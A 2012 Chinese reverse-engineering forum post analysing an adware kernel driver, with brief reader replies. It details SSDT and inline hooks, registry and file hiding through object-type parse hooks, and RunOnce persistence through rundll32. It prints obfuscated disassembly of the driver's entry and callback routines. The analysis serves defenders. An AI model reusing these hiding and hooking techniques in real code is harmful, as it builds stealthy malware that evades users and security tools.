首页
社区
课程
招聘
6
[原创]一马调试分析之下篇(马说)
发表于: 2012-2-28 23:46 10759

[原创]一马调试分析之下篇(马说)

2012-2-28 23:46
10759

第一部分:猥缩的驱动
技术亮点:
1、得到“处女之身”,(在女人心中第1个男人永远会记得),主要目的是为了使自己挂钩原始的东西,sub_148a8()获取ntoskrnl的文件地址(ZwQuerySystemInformation),sub_11c78将ntoskrnl文件映身入内存,sub_136b6()找到原始SSDT偏移,sub_11338()手动重定位从而找到原始地址。具体实现可以看一下。原始的SSDT的函数地址。
2、大玩“躲猫猫”,创建服务,实施“乾坤大挪移”修改文件名,躲猫猫之对象HOOK \REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES的ParseProcedure CmParseKey实现注册表隐藏。
   IoDeviceObjctType的IopParseDevice,实现文件保护。(ObRefernceObjectByHandle)。

DriverEntry ===>
主要流程:
    1、通过与"System"比较,确定进程名在PEB中的偏移(因为加载驱动时进程是System,这样做实际上是因为不同操作系统偏移位置不同)
    2、解密字符串
    3、获取所需的函数的地址
    4、调用DriverReinitializationRoutine,开始猥缩的操作

流程4:DriverReinitializationRoutine ===>
    1、测试打开"\SystemRoot"(这个应该是测试文件系统是否初始化完毕)
      1-1、打开失败,使用IoRegisterDriverReinitialization从而转到1.
      1-2、打开成功,进入sub_16BFE()。

流程4 ==> 流程1-2:sub_16BFE() ===>
     1、解密字符串
     2、获得原始SSDT,以获取原始函数的地址(内核本就是兵家必争之地,极可能不是“处女之身”了,可见作者也明白这道理)
        2-1、获取失败,还是用别人搞了的函数,避免操作失败
     3、sub_1132A(),调用PsSetCreateProcessNotifyRoutine注册进程回调,在回调中进行各种XX操作,回调例程为sub_108B8
     4、sub_16BD2(),调用sub_1575C(),查找NtSetValueKey及NtDeleteKey中对ObReferenceObjectByHandle的调用。
         4-1、如果找到则对NtSetValueKey及NtDeleteKey中对ObReferenceObjectByHandle的调用进行Inlie HOOK,Inline后分别对应调用sub_157F0()及sub_15824()
         4-2、如果没找到则直接SSDT HOOK NtDeleteKey
     5、sub_16AF2(),创建服务,实施“乾坤大挪移”修改文件名,对键HOOK \REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES CmParseKey,以实现对服务的隐藏。
     6、sub_10DE4(),HOOK IoDeviceObjctType的IopParseDevice,实现文件保护.

(PS,获取原始SSDT中,原始函数的地址,主要是通过读取ntoskrnl文件中原始SSDT的值)

流程4 ==> 流程1-2 ==> 流程3:回调流程sub_108B8() ===>
     这个例程分别对userinit.exe、explorer.exe、rundll32.exe、iexplorer.exe进行不同的处理,实际上都是一些注册表的操作,主要是实现应用层的DLL起动,注册为IE的加载项,以便随同IE一起加载
     1、case userinit:   写入\registry\machine\software\microsoft\windows\currentversion\runonce的键unfd,
                         对应的值为%systemroot%\system32\rundll32.exe %systemroot%\system32\zuefhm.dll,DllRegisterServer"
     2、case explorer:   一些注册表查询设置操作,这里注册表操作较多,有兴趣自己可以跟一下,小弟简单列一下,有下面的这些键
                         \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command
                         \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0DDF3C19-E692-22D2-AB05-11AA44BDD685}\Shell\Open\Command
                         \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu
                         \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel
                         \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\REGISTRY\USER\S-1-5-21-823518204-1336601894-1417001333-                         500\Software\Microsoft\Internet Explorer\Main
                         \REGISTRY\USER\S-1-5-21-823518204-1336601894-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons                                          \ClassicStartMenu\REGISTRY\USER\S-1-5-21-823518204-1336601894-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer                         \HideDesktopIcons\NewStartPanel
                         \REGISTRY\USER\S-1-5-21-823518204-1336601894-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer \REGISTRY\USER\S-1-5-                                 21-823518204-1336601894-1417001333-500\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace
     3、case rundll32:   判断其父进程是否是ExpLorer.exe
     4、case iexplorer:  进行一些计时操作
看一下对应几次解密后分别对应如下几图:



我们再来看一下HOOK NtDeleteValueKey中对ObReferenceObjectByHandle的调用前如下图:

HOOK前查找NtSetValueKey中对ObReferenceObjectByHandle的调用前如下图:

再来看一下HOOK NtDeleteValueKey、NtSetValueKey后如下图:


看一下\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES的ParseProcedure CmParseKey被HOOK前:

对比下\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES的ParseProcedure CmParseKey被HOOK后:


再来看下代码:
看一下DriverEntry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
INIT:00019380     ; NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
INIT:00019380                     public DriverEntry
INIT:00019380     DriverEntry     proc near
INIT:00019380
INIT:00019380     SymbolicLinkName= UNICODE_STRING ptr -14h
INIT:00019380     DestinationString= UNICODE_STRING ptr -0Ch
INIT:00019380     DeviceObject    = dword ptr -4
INIT:00019380     DriverObject    = dword ptr  8
INIT:00019380     RegistryPath    = dword ptr  0Ch
INIT:00019380
INIT:00019380 000                 push    ebp
INIT:00019381 004                 mov     ebp, esp
INIT:00019383 004                 sub     esp, 14h
INIT:00019386 018                 push    ebx
INIT:00019387 01C                 push    esi
INIT:00019388 020                 push    edi
INIT:00019389 024                 push    edx
INIT:0001938A 028                 inc     dl
INIT:0001938C 028                 or      dh, dl
INIT:0001938E 028                 and     edx, ebx
INIT:00019390 028                 test    ah, dh
INIT:00019392 028                 and     dh, 5Eh
INIT:00019395 028                 pop     edx
INIT:00019396 024                 push    [ebp+RegistryPath]
INIT:00019399 028                 call    sub_19260
INIT:0001939E 024                 push    ecx
INIT:0001939F 028                 push    bx
INIT:000193A1 02A                 test    cx, cx
INIT:000193A4 02A                 sub     cx, si
INIT:000193A7 02A                 mov     cx, 1DD6h
INIT:000193AB 02A                 mov     bh, 68h
INIT:000193AD 02A                 xor     cl, bl
INIT:000193AF 02A                 or      ecx, 3F17h
INIT:000193B5 02A                 and     bh, dh
INIT:000193B7 02A                 pop     bx
INIT:000193B9 028                 pop     ecx
INIT:000193BA 024                 xor     eax, eax
INIT:000193BC 024                 cmp     g_ImageFileNameOffset, eax
INIT:000193C2 024                 jnz     short loc_193DD
INIT:000193C4 024                 push    eax
INIT:000193C5 028                 push    eax
INIT:000193C6 02C                 call    sub_192A0
INIT:000193CB 024                 push    eax
INIT:000193CC 028                 push    edx
INIT:000193CD 02C                 push    di
INIT:000193CF 02E                 sub     eax, 0DCCh
INIT:000193D4 02E                 pop     di
INIT:000193D6 02C                 pop     edx
INIT:000193D7 028                 pop     eax
INIT:000193D8 024                 jmp     loc_194A4
INIT:000193DD     ; ---------------------------------------------------------------------------
INIT:000193DD
INIT:000193DD     loc_193DD:                              ; CODE XREF: DriverEntry+42j
INIT:000193DD 024                 push    edi
INIT:000193DE 028                 test    eax, edi
INIT:000193E0 028                 pop     edi
INIT:000193E1 024                 call    near ptr DecodeAllStr
INIT:000193E6 024                 pusha
INIT:000193E7 044                 inc     al
INIT:000193E9 044                 and     dl, bl
INIT:000193EB 044                 or      dx, ax
INIT:000193EE 044                 and     dx, 463Eh
INIT:000193F3 044                 test    dl, 63h
INIT:000193F6 044                 xor     ax, cx
INIT:000193F9 044                 inc     dl
INIT:000193FB 044                 popa
INIT:000193FC 024                 lea     eax, [ebp+DestinationString]
INIT:000193FF 024                 push    offset g_device_ksdrv ; SourceString
INIT:00019404 028                 push    eax             ; DestinationString
INIT:00019405 02C                 call    ds:RtlInitUnicodeString
INIT:0001940B 024                 pushaw
INIT:0001940D 034                 push    edx
INIT:0001940E 038                 test    bx, 1458h
INIT:00019413 038                 or      ax, di
INIT:00019416 038                 add     bh, ch
INIT:00019418 038                 test    bh, al
INIT:0001941A 038                 pop     edx
INIT:0001941B 034                 popaw
INIT:0001941D 024                 lea     eax, [ebp+DeviceObject]
INIT:00019420 024                 xor     esi, esi
INIT:00019422 024                 push    eax             ; DeviceObject
INIT:00019423 028                 push    esi             ; Exclusive
INIT:00019424 02C                 push    esi             ; DeviceCharacteristics
INIT:00019425 030                 lea     eax, [ebp+DestinationString]
INIT:00019428 030                 push    8000h           ; DeviceType
INIT:0001942D 034                 push    eax             ; DeviceName
INIT:0001942E 038                 push    esi             ; DeviceExtensionSize
INIT:0001942F 03C                 push    [ebp+DriverObject] ; DriverObject
INIT:00019432 040                 call    ds:IoCreateDevice
INIT:00019438 024                 cmp     eax, esi
INIT:0001943A 024                 jl      loc_194ED
INIT:00019440 024                 push    ecx
INIT:00019441 028                 push    edx
INIT:00019442 02C                 push    edi
INIT:00019443 030                 test    cx, cx
INIT:00019446 030                 xor     dl, 57h
INIT:00019449 030                 inc     edi
INIT:0001944A 030                 or      ch, 6Fh
INIT:0001944D 030                 pop     edi
INIT:0001944E 02C                 pop     edx
INIT:0001944F 028                 pop     ecx
INIT:00019450 024                 lea     eax, [ebp+SymbolicLinkName]
INIT:00019453 024                 push    offset g_dosdevice_ksdrv ; SourceString
INIT:00019458 028                 push    eax             ; DestinationString
INIT:00019459 02C                 call    ds:RtlInitUnicodeString
INIT:0001945F 024                 push    ebx
INIT:00019460 028                 push    edx
INIT:00019461 02C                 mov     bh, 64h
INIT:00019463 02C                 pop     edx
INIT:00019464 028                 pop     ebx
INIT:00019465 024                 lea     eax, [ebp+DestinationString]
INIT:00019468 024                 push    eax             ; DeviceName
INIT:00019469 028                 lea     eax, [ebp+SymbolicLinkName]
INIT:0001946C 028                 push    eax             ; SymbolicLinkName
INIT:0001946D 02C                 call    ds:IoCreateSymbolicLink
INIT:00019473 024                 cmp     eax, esi
INIT:00019475 024                 mov     [ebp+RegistryPath], eax
INIT:00019478 024                 jge     short loc_19485
INIT:0001947A 024                 push    [ebp+DeviceObject] ; DeviceObject
INIT:0001947D 028                 call    ds:IoDeleteDevice
INIT:00019483 024                 jmp     short loc_194EA
INIT:00019485     ; ---------------------------------------------------------------------------
INIT:00019485
INIT:00019485     loc_19485:                              ; CODE XREF: DriverEntry+F8j
INIT:00019485 024                 pusha
INIT:00019486 044                 inc     al
INIT:00019488 044                 and     dl, bl
INIT:0001948A 044                 or      dx, ax
INIT:0001948D 044                 and     dx, 463Eh
INIT:00019492 044                 test    dl, 63h
INIT:00019495 044                 xor     ax, cx
INIT:00019498 044                 inc     dl
INIT:0001949A 044                 popa
INIT:0001949B 024                 call    GetNeedSystemRootine
INIT:000194A0 024                 test    al, al
INIT:000194A2 024                 jnz     short loc_194AB
INIT:000194A4
INIT:000194A4     loc_194A4:                              ; CODE XREF: DriverEntry+58j
INIT:000194A4 024                 mov     eax, 0C0000001h
INIT:000194A9 024                 jmp     short loc_194ED
INIT:000194AB     ; ---------------------------------------------------------------------------
INIT:000194AB
INIT:000194AB     loc_194AB:                              ; CODE XREF: DriverEntry+122j
INIT:000194AB 024                 push    cx
INIT:000194AD 026                 push    edx
INIT:000194AE 02A                 sub     dh, al
INIT:000194B0 02A                 add     cx, dx
INIT:000194B3 02A                 inc     cl
INIT:000194B5 02A                 test    ah, cl
INIT:000194B7 02A                 inc     ch
INIT:000194B9 02A                 or      dx, bx
INIT:000194BC 02A                 inc     cx
INIT:000194BE 02A                 xor     dx, dx
INIT:000194C1 02A                 xor     cl, bh
INIT:000194C3 02A                 pop     edx
INIT:000194C4 026                 pop     cx
INIT:000194C6 024                 mov     eax, [ebp+DriverObject]
INIT:000194C9 024                 mov     dword ptr [eax+38h], offset sub_16CD4
INIT:000194D0 024                 push    ecx
INIT:000194D1 028                 push    edx
INIT:000194D2 02C                 push    edi
INIT:000194D3 030                 test    cx, cx
INIT:000194D6 030                 xor     dl, 57h
INIT:000194D9 030                 inc     edi
INIT:000194DA 030                 or      ch, 6Fh
INIT:000194DD 030                 pop     edi
INIT:000194DE 02C                 pop     edx
INIT:000194DF 028                 pop     ecx
INIT:000194E0 024                 push    0               ; ULONG
INIT:000194E2 028                 push    0               ; PVOID
INIT:000194E4 02C                 push    eax             ; struct _DRIVER_OBJECT *
INIT:000194E5 030                 call    DriverReinitializationRoutine
INIT:000194EA
INIT:000194EA     loc_194EA:                              ; CODE XREF: DriverEntry+103j
INIT:000194EA 024                 mov     eax, [ebp+RegistryPath]
INIT:000194ED
INIT:000194ED     loc_194ED:                              ; CODE XREF: DriverEntry+BAj
INIT:000194ED                                             ; DriverEntry+129j
INIT:000194ED 024                 pop     edi
INIT:000194EE 020                 pop     esi
INIT:000194EF 01C                 pop     ebx
INIT:000194F0 018                 leave
INIT:000194F1 000                 retn    8
INIT:000194F1     DriverEntry     endp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
.text:000108B8       ; double __stdcall sub_108B8(int ParentId, int pid, char bCreate)
.text:000108B8       sub_108B8       proc near               ; DATA XREF: sub_1132A+2o
.text:000108B8
.text:000108B8       var_10          = byte ptr -10h
.text:000108B8       var_F           = byte ptr -0Fh
.text:000108B8       ParentId        = dword ptr  8
.text:000108B8       pid             = dword ptr  0Ch
.text:000108B8       bCreate         = dword ptr  10h
.text:000108B8
.text:000108B8 0 000                 push    ebp
.text:000108B9 0 004                 mov     ebp, esp
.text:000108BB 0 004                 sub     esp, 10h
.text:000108BE 0 014                 push    ebx
.text:000108BF 0 018                 push    esi
.text:000108C0 0 01C                 push    edi
.text:000108C1 0 020                 xor     ebx, ebx
.text:000108C3 0 020                 xor     eax, eax
.text:000108C5 0 020                 lea     edi, [ebp+var_F]
.text:000108C8 0 020                 mov     [ebp+var_10], bl
.text:000108CB 0 020                 cmp     byte ptr [ebp+bCreate], bl
.text:000108CE 0 020                 stosd
.text:000108CF 0 020                 stosd
.text:000108D0 0 020                 stosd
.text:000108D1 0 020                 stosw
.text:000108D3 0 020                 stosb
.text:000108D4 0 020                 jz      loc_10A7D
.text:000108DA 0 020                 cmp     [ebp+pid], 14h
.text:000108DE 0 020                 jb      loc_10A7D
.text:000108E4 0 020                 cmp     g_ImageFileNameOffset, ebx
.text:000108EA 0 020                 jz      loc_10A7D
.text:000108F0 0 020                 lea     eax, [ebp+var_10]
.text:000108F3 0 020                 push    eax             ; char *
.text:000108F4 0 024                 push    [ebp+pid]       ; int
.text:000108F7 0 028                 call    SearchProccessName
.text:000108FC 0 020                 cmp     eax, ebx
.text:000108FE 0 020                 mov     [ebp+bCreate], eax
.text:00010901 0 020                 jz      loc_10A7D
.text:00010907 0 020                 push    edx
.text:00010908 0 024                 push    edi
.text:00010909 0 028                 or      edx, edx
.text:0001090B 0 028                 mov     dl, ch
.text:0001090D 0 028                 cmp     edx, ecx
.text:0001090F 0 028                 and     edx, eax
.text:00010911 0 028                 pop     edi
.text:00010912 0 024                 pop     edx
.text:00010913 0 020                 mov     esi, ds:_stricmp
.text:00010919 0 020                 lea     eax, [ebp+var_10]
.text:0001091C 0 020                 push    offset g_userinit ; "9UT瞋#Q"
.text:00010921 0 024                 push    eax             ; char *
.text:00010922 0 028                 call    esi ; _stricmp
.text:00010924 0 028                 pop     ecx
.text:00010925 0 024                 test    eax, eax
.text:00010927 0 024                 pop     ecx
.text:00010928 0 020                 jnz     short loc_10947
.text:0001092A 0 020                 push    eax
.text:0001092B 0 024                 push    bx
.text:0001092D 0 026                 test    ax, 826h
.text:00010931 0 026                 sub     bl, 12h
.text:00010934 0 026                 test    bx, 3C13h
.text:00010939 0 026                 test    ah, 56h
.text:0001093C 0 026                 cmp     bx, dx
.text:0001093F 0 026                 pop     bx
.text:00010941 0 024                 pop     eax
.text:00010942 0 020                 call    ProcessUserInit
.text:00010947
.text:00010947       loc_10947:                              ; CODE XREF: sub_108B8+70j
.text:00010947 0 020                 push    ax
.text:00010949 0 022                 push    cx
.text:0001094B 0 024                 push    edi
.text:0001094C 0 028                 and     al, dl
.text:0001094E 0 028                 or      ch, 3Ah
.text:00010951 0 028                 dec     edi
.text:00010952 0 028                 inc     edi
.text:00010953 0 028                 cmp     ah, bl
.text:00010955 0 028                 xor     ax, ax
.text:00010958 0 028                 cmp     cl, dl
.text:0001095A 0 028                 dec     cl
.text:0001095C 0 028                 pop     edi
.text:0001095D 0 024                 pop     cx
.text:0001095F 0 022                 pop     ax
.text:00010961 0 020                 lea     eax, [ebp+var_10]
.text:00010964 0 020                 push    offset g_explorer_exe ; ")^A琘?]\n?^T?
.text:00010969 0 024                 push    eax             ; char *
.text:0001096A 0 028                 call    esi ; _stricmp
.text:0001096C 0 028                 pop     ecx
.text:0001096D 0 024                 test    eax, eax
.text:0001096F 0 024                 pop     ecx
.text:00010970 0 020                 jnz     loc_10A24
.text:00010976 0 020                 cmp     g_bFirstExplorer, al
.text:0001097C 0 020                 jnz     loc_10A24
.text:00010982 0 020                 push    ebx
.text:00010983 0 024                 add     bx, ax
.text:00010986 0 024                 mov     bx, 6602h
.text:0001098A
.text:0001098A       loc_1098A:
.text:0001098A 0 024                 and     bh, dl
.text:0001098C 0 024                 pop     ebx
.text:0001098D 0 020                 push    [ebp+bCreate]
.text:00010990 0 024                 call    ProcessExplorer1
.text:00010995 0 020                 test    eax, eax
.text:00010997 0 020                 jl      loc_10A24
.text:0001099D 0 020                 jbe     loc_109B4
.text:000109A3 0 020                 push    eax
.text:000109A4 0 024                 pop     eax
.text:000109A5 0 020                 ja      loc_109B4
.text:000109AB 0 020                 pop     esi
.text:000109AC 0 01C                 fisubr  dword ptr [ecx+7A96ED64h]
.text:000109B2                       db      26h
.text:000109B2 0 01C                 dec     esp
.text:000109B4
.text:000109B4       loc_109B4:                              ; CODE XREF: sub_108B8+E5j
.text:000109B4                                               ; sub_108B8+EDj
.text:000109B4 0 01C                 mov     g_bFirstExplorer, 1
.text:000109BB 0 01C                 jbe     loc_109DD
.text:000109C1 0 01C                 push    si
.text:000109C3 0 01E                 mov     si, 5C11h
.text:000109C7 0 01E                 pop     si
.text:000109C9 0 01C                 ja      loc_109DD
.text:000109C9       ; ---------------------------------------------------------------------------
.text:000109CF 0 01C unk_109CF       db  70h ; p
.text:000109D0 0 01C                 db 0BAh ; ?
.text:000109D1 0 01C                 db  0Eh
.text:000109D2 0 01C                 dw 8D67h
.text:000109D4 0 01C                 dd 3557B8FDh, 0CBA2EED7h
.text:000109DC 0 01C                 db 0F3h
.text:000109DD       ; ---------------------------------------------------------------------------
.text:000109DD
.text:000109DD       loc_109DD:                              ; CODE XREF: sub_108B8+103j
.text:000109DD                                               ; sub_108B8+111j
.text:000109DD 0 01C                 mov     b_FinishRegClsid, 1
.text:000109E4 0 01C                 jp      short loc_109FB
.text:000109E6 0 01C                 push    edi
.text:000109E7 0 020                 mov     di, 0B224h
.text:000109EB 0 020                 pop     edi
.text:000109EC 0 01C                 jnp     short loc_109FB
.text:000109EE 0 01C                 xchg    eax, edx
.text:000109EF 0 01C                 clc
.text:000109F0 0 01C                 mov     esi, 34A96CF4h
.text:000109F5 0 01C                 inc     eax
.text:000109F5       ; ---------------------------------------------------------------------------
.text:000109F6 0 01C unk_109F6       db 0C5h ; ?
.text:000109F7 0 01C                 db  2Dh ; -
.text:000109F8 0 01C                 db  3Ah ; :
.text:000109F9 0 01C                 db 0B4h ; ?
.text:000109FA 0 01C                 db  17h
.text:000109FB       ; ---------------------------------------------------------------------------
.text:000109FB
.text:000109FB       loc_109FB:                              ; CODE XREF: sub_108B8+12Cj
.text:000109FB                                               ; sub_108B8+134j
.text:000109FB 0 01C                 call    ProcessExploerer2
.text:00010A00 0 01C                 pusha
.text:00010A01 0 03C                 test    bx, 0A43h
.text:00010A06 0 03C                 cmp     ch, 6Eh
.text:00010A09 0 03C                 sub     ch, bl
.text:00010A0B 0 03C                 cmp     dx, 7A98h
.text:00010A10 0 03C                 sub     ecx, edx
.text:00010A12 0 03C                 popa
.text:00010A13 0 01C                 push    dword_19178
.text:00010A19 0 020                 call    ProcessExploerer3
.text:00010A1E 0 01C                 mov     esi, ds:_stricmp
.text:00010A24
.text:00010A24       loc_10A24:                              ; CODE XREF: sub_108B8+B8j
.text:00010A24                                               ; sub_108B8+C4j ...
.text:00010A24 0 01C                 push    eax
.text:00010A25 0 020                 xor     ax, bx
.text:00010A28 0 020                 pop     eax
.text:00010A29 0 01C                 lea     eax, [ebp+var_10]
.text:00010A2C 0 01C                 push    offset g_aRundll32_exe ; char *
.text:00010A31 0 020                 push    eax             ; char *
.text:00010A32 0 024                 call    esi ; _stricmp
.text:00010A34 0 024                 pop     ecx
.text:00010A35 0 020                 test    eax, eax
.text:00010A37 0 020                 pop     ecx
.text:00010A38 0 01C                 jnz     short loc_10A4A
.text:00010A3A 0 01C                 cmp     g_bFirstExplorer, al
.text:00010A40 0 01C                 jz      short loc_10A4A
.text:00010A42 0 01C                 push    [ebp+ParentId]
.text:00010A45 0 020                 call    ProcessRundll32
.text:00010A4A
.text:00010A4A       loc_10A4A:                              ; CODE XREF: sub_108B8+180j
.text:00010A4A                                               ; sub_108B8+188j
.text:00010A4A 0 01C                 jo      short loc_10A62
.text:00010A4C 0 01C                 push    esi
.text:00010A4D 0 020                 mov     esi, 387EF7E0h
.text:00010A52 0 020                 pop     esi
.text:00010A53 0 01C                 jno     short loc_10A62
.text:00010A53       ; ---------------------------------------------------------------------------
.text:00010A55 0 01C byte_10A55      db 0C6h, 71h, 7Dh
.text:00010A58 0 01C                 dd 21D7221Dh, 0C0FF8AF7h
.text:00010A60 0 01C                 db 0Dh, 0A7h
.text:00010A62       ; ---------------------------------------------------------------------------
.text:00010A62
.text:00010A62       loc_10A62:                              ; CODE XREF: sub_108B8:loc_10A4Aj
.text:00010A62                                               ; sub_108B8+19Bj
.text:00010A62 0 01C                 lea     eax, [ebp+var_10]
.text:00010A65 0 01C                 push    offset g_aIEXPLORE_EXE ; char *
.text:00010A6A 0 020                 push    eax             ; char *
.text:00010A6B 0 024                 call    esi ; _stricmp
.text:00010A6D 0 024                 pop     ecx
.text:00010A6E 0 020                 test    eax, eax
.text:00010A70 0 020                 pop     ecx
.text:00010A71 0 01C                 jnz     short loc_10A7D
.text:00010A73 0 01C                 push    offset dword_19170
.text:00010A78 0 020                 call    ProcessIexplorer
.text:00010A7D
.text:00010A7D       loc_10A7D:                              ; CODE XREF: sub_108B8+1Cj
.text:00010A7D                                               ; sub_108B8+26j ...
.text:00010A7D 0 01C                 pop     edi
.text:00010A7E 0 018                 pop     esi
.text:00010A7F 0 014                 pop     ebx
.text:00010A80 0 010                 leave
.text:00010A81 0 000                 retn    0Ch
.text:00010A81       sub_108B8       endp ; sp-analysis failed

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 6
支持
分享
赞赏记录
参与人
雪币
留言
时间
伟叔叔
为你点赞~
2024-5-31 04:01
心游尘世外
为你点赞~
2024-3-31 00:22
飘零丶
为你点赞~
2024-3-23 00:08
QinBeast
为你点赞~
2024-3-7 00:21
shinratensei
为你点赞~
2024-1-27 05:14
PLEBFE
为你点赞~
2023-3-7 00:46
最新回复 (6)
雪    币: 557
活跃值: (2380)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
2
调试驱动啊,功能深厚。学习
2012-2-29 01:45
0
雪    币: 220
活跃值: (851)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
现在广告插件都如此牛B了,感到压力重大
2012-2-29 10:13
0
雪    币: 29
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
长见识了。LZ V5
2012-3-2 05:47
0
雪    币: 219
活跃值: (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
大牛,大牛,大牛....
2012-4-1 15:25
0
雪    币: 5
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
收藏,慢慢研究。
2012-4-1 15:54
0
雪    币: 316
活跃值: (128)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
7
太长了,楼主好厉害,膜拜!
2012-4-23 19:48
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册